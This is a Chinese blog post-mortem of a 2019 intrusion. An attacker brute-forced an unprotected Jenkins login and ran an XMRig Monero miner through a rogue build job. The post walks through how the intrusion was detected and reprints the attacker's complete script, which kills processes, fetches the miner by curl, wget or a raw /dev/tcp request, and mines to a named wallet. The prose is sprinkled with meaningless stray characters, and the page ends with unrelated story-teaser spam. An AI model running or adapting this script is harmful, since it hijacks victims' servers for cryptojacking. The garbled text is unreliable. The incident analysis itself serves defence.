hack事件記錄 -- xmrig病毒解決方案

以此篇Blog紀(jì)念服務(wù)器第一次被hack递鹉,加強(qiáng)安全意識(shí)(不過(guò)整個(gè)排查過(guò)程挺好玩的).

經(jīng)過(guò)

Nov 18, 2019 1:03:00 PM盟步,team的服務(wù)器被歹人劫持并在其命令下淪為了一臺(tái)被沒(méi)日沒(méi)夜壓榨的辛苦礦工,在我與Jerry的共同努力下順著線索層層排查躏结,終于找到了礦工所在地却盘,并成功營(yíng)救出礦工。以下為詳細(xì)偵查經(jīng)過(guò)媳拴。

2019年11月18日下午3點(diǎn)左右黄橘,資深工程師Jerry在使用服務(wù)器時(shí)猛然發(fā)覺(jué)異樣,于是使用top指令查看發(fā)現(xiàn)CPU使用率居然維持在驚人的791.4%屈溉,并指出這是一個(gè)id為2220的線程使用的塞关,而該線程明顯不是我們自己?jiǎn)?dòng)的

image

于是馬上通知了我這一異樣,在排除掉小數(shù)點(diǎn)顯示錯(cuò)位這一可能性后语婴,開(kāi)始詳細(xì)排查原因描孟。

首先使用htop查看線程具體信息與啟動(dòng)指令,圖片如下砰左。該命令明顯不像用戶通過(guò)終端啟動(dòng)的匿醒,但由于啟動(dòng)命令的路徑為相對(duì)路徑,相對(duì)路徑名稱(chēng)./trace明顯不是一個(gè)程序缠导,因此進(jìn)一步的

WechatIMG110.png

使用ll /proc/PID指令查看啟動(dòng)命令的絕對(duì)路徑信息:

image

此處看到了一個(gè)我們熟悉的關(guān)鍵詞廉羔,Jenkins,于是登錄Jenkins發(fā)現(xiàn)里面被人創(chuàng)建了一個(gè)名為Updating的workspace僻造,且其一直處于build狀態(tài).

image

打開(kāi)配置文件憋他,在build腳本中,我們找到了其究竟對(duì)服務(wù)器做了什么(后續(xù)分析)

image

此時(shí)只需要禁用該workspace髓削,并關(guān)閉已啟動(dòng)的進(jìn)程即可竹挡,服務(wù)器就此恢復(fù)正常。

image

分析

回頭復(fù)盤(pán)一下發(fā)現(xiàn)立膛,整個(gè)安全事件的根本原因在于Jenkins的沒(méi)有設(shè)置密碼驗(yàn)證機(jī)制揪罕,密碼輸入錯(cuò)誤后可以馬上無(wú)間斷的再次輸入梯码,且沒(méi)有輸入次數(shù)限制,該安全隱患在安裝Jenkins之處的時(shí)候就已經(jīng)發(fā)現(xiàn)了好啰,但是當(dāng)時(shí)沒(méi)有處理轩娶,因此給hacker暴力破解提供了可能性,剩下的就簡(jiǎn)單多了框往,hacker暴力破解后鳄抒,創(chuàng)建了一個(gè)workspace,并編寫(xiě)build腳本椰弊,并在服務(wù)器上安裝挖礦程序许溅,然后推出。比較可惜的是男应,挖礦程序只執(zhí)行了不到4小時(shí)就被關(guān)停了闹司。

更進(jìn)一步的我想通過(guò)Jenkins的腳本想嘗試追蹤一下這個(gè)hacker的信息,但發(fā)現(xiàn)難度很大沐飘,在腳本中還有兩個(gè)有用的線索:

前者是挖礦工具的github地址游桩,是一個(gè)公共工具,倉(cāng)庫(kù)所有者不可能是hacker耐朴,
至于第二條信息借卧,一個(gè)標(biāo)準(zhǔn)的區(qū)塊鏈賬號(hào),而區(qū)塊鏈賬號(hào)的特征之一就是匿名筛峭,無(wú)法通過(guò)賬號(hào)鎖定賬號(hào)持有者铐刘,所以幾乎沒(méi)有查找到所有人的可能性侨嘀。
下一步準(zhǔn)備看一下Jenkins的登錄日志是有有IP信息九榔,但也不抱有特別大的希望,這里就把hacker的區(qū)塊鏈賬號(hào)明文貼出來(lái)不打碼了~~

完整腳本如下:

#!/bin/bash
if [[ $(whoami) != "root" ]]; then
    for tr in $(ps -U $(whoami) | egrep -v "java|ps|sh|egrep|grep|PID" | cut -b1-6); do
        kill -9 $tr || : ;
    done;
fi

threadCount=$(lscpu | grep 'CPU(s)' | grep -v ',' | awk '{print $2}' | head -n 1);
hostHash=$(hostname -f | md5sum | cut -c1-8);
echo "${hostHash} - ${threadCount}";

_curl () {
  read proto server path <<<$(echo ${1//// })
  DOC=/${path// //}
  HOST=${server//:*}
  PORT=${server//*:}
  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80

  exec 3<>/dev/tcp/${HOST}/$PORT
  echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
  (while read line; do
   [[ "$line" == $'\r' ]] && break
  done && cat) <&3
  exec 3>&-
}

rm -rf config.json;

d () {
    curl -L --insecure --connect-timeout 5 --max-time 40 --fail $1 -o $2 2> /dev/null || wget --no-check-certificate --timeout 40 --tries 1 $1 -O $2 2> /dev/null || _curl $1 > $2;
}

test ! -s trace && \
    d https://github.com/xmrig/xmrig/releases/download/v5.0.0/xmrig-5.0.0-xenial-x64.tar.gz trace.tgz && \
    tar -zxvf trace.tgz && \
    mv xmrig-5.0.0/xmrig trace && \
    rm -rf xmrig-5.0.0 && \
    rm -rf trace.tgz;

test ! -x trace && chmod +x trace;

k() {
    ./trace \
        -r 2 \
        -R 2 \
        --keepalive \
        --no-color \
        --donate-level 1 \
        --max-cpu-usage 80 \
        --cpu-priority 3 \
        --print-time 25 \
        --threads ${threadCount:-4} \
        --url $1 \
        --user 46sfbbM3XSjBo54d5a8PYUU5yQ31x6Rpv6tBhe22Cd7VYeJUyFUhzBF5rTf1oTB1d8MqgHxX5RbbEEKZd8fBAAmcFfv9Y5c \
        --pass x \
        --coin xmr \
        --keepalive
}

k xmr-eu1.nanopool.org:14444 || k xmr-eu2.nanopool.org:14444 || k xmr-us-east1.nanopool.org:14444 || k xmr-us-west1.nanopool.org:14444 || k xmr-asia1.nanopool.org:14444 || k xmr-jp1.nanopool.org:14444

后記

在被hack之后在網(wǎng)上也找到了不少其他的類(lèi)似的案例旺入,Win和linux系統(tǒng)都有挂签,hack的渠道也多種多樣疤祭,還是要對(duì)hacker的技術(shù)涉獵面表示一下佩服。

準(zhǔn)確講這并不算一個(gè)病毒饵婆,只是別人利用密碼驗(yàn)證機(jī)制的漏洞勺馆,通過(guò)Jenkins在服務(wù)器上部署了一個(gè)占用資源非常龐大的應(yīng)用程序,客觀的說(shuō)這個(gè)應(yīng)用程序?qū)ο到y(tǒng)也是無(wú)害的侨核,但從安全角度上講草穆,kacker是有能力通過(guò)這一漏洞對(duì)系統(tǒng)進(jìn)行破壞的,所幸的是這是一個(gè)測(cè)試服務(wù)器搓译,不會(huì)帶來(lái)直接的經(jīng)濟(jì)損失悲柱,但此處被hack的經(jīng)歷,確實(shí)暴漏出我對(duì)服務(wù)器安全的不重視些己,算是一次沒(méi)有“花錢(qián)”買(mǎi)的教訓(xùn)诗祸。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末跑芳,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子直颅,更是在濱河造成了極大的恐慌,老刑警劉巖怀樟,帶你破解...
    沈念sama閱讀 216,372評(píng)論 6 498
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件功偿,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡往堡,警方通過(guò)查閱死者的電腦和手機(jī)械荷,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,368評(píng)論 3 392
  • 文/潘曉璐 我一進(jìn)店門(mén),熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)虑灰,“玉大人吨瞎,你說(shuō)我怎么就攤上這事∧赂溃” “怎么了颤诀?”我有些...
    開(kāi)封第一講書(shū)人閱讀 162,415評(píng)論 0 353
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)对湃。 經(jīng)常有香客問(wèn)我崖叫,道長(zhǎng),這世上最難降的妖魔是什么拍柒? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 58,157評(píng)論 1 292
  • 正文 為了忘掉前任心傀,我火速辦了婚禮,結(jié)果婚禮上拆讯,老公的妹妹穿的比我還像新娘脂男。我一直安慰自己,他們只是感情好种呐,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,171評(píng)論 6 388
  • 文/花漫 我一把揭開(kāi)白布宰翅。 她就那樣靜靜地躺著,像睡著了一般陕贮。 火紅的嫁衣襯著肌膚如雪堕油。 梳的紋絲不亂的頭發(fā)上,一...
    開(kāi)封第一講書(shū)人閱讀 51,125評(píng)論 1 297
  • 那天肮之,我揣著相機(jī)與錄音掉缺,去河邊找鬼。 笑死戈擒,一個(gè)胖子當(dāng)著我的面吹牛眶明,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播筐高,決...
    沈念sama閱讀 40,028評(píng)論 3 417
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼搜囱,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼丑瞧!你這毒婦竟也來(lái)了?” 一聲冷哼從身側(cè)響起蜀肘,我...
    開(kāi)封第一講書(shū)人閱讀 38,887評(píng)論 0 274
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤绊汹,失蹤者是張志新(化名)和其女友劉穎,沒(méi)想到半個(gè)月后扮宠,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體西乖,經(jīng)...
    沈念sama閱讀 45,310評(píng)論 1 310
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,533評(píng)論 2 332
  • 正文 我和宋清朗相戀三年坛增,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了获雕。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 39,690評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡收捣,死狀恐怖届案,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情罢艾,我是刑警寧澤楣颠,帶...
    沈念sama閱讀 35,411評(píng)論 5 343
  • 正文 年R本政府宣布,位于F島的核電站昆婿,受9級(jí)特大地震影響球碉,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜仓蛆,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,004評(píng)論 3 325
  • 文/蒙蒙 一睁冬、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧看疙,春花似錦豆拨、人聲如沸。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 31,659評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)。三九已至搁胆,卻和暖如春弥搞,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背渠旁。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 32,812評(píng)論 1 268
  • 我被黑心中介騙來(lái)泰國(guó)打工攀例, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人顾腊。 一個(gè)月前我還...
    沈念sama閱讀 47,693評(píng)論 2 368
  • 正文 我出身青樓粤铭,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親杂靶。 傳聞我的和親對(duì)象是個(gè)殘疾皇子梆惯,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,577評(píng)論 2 353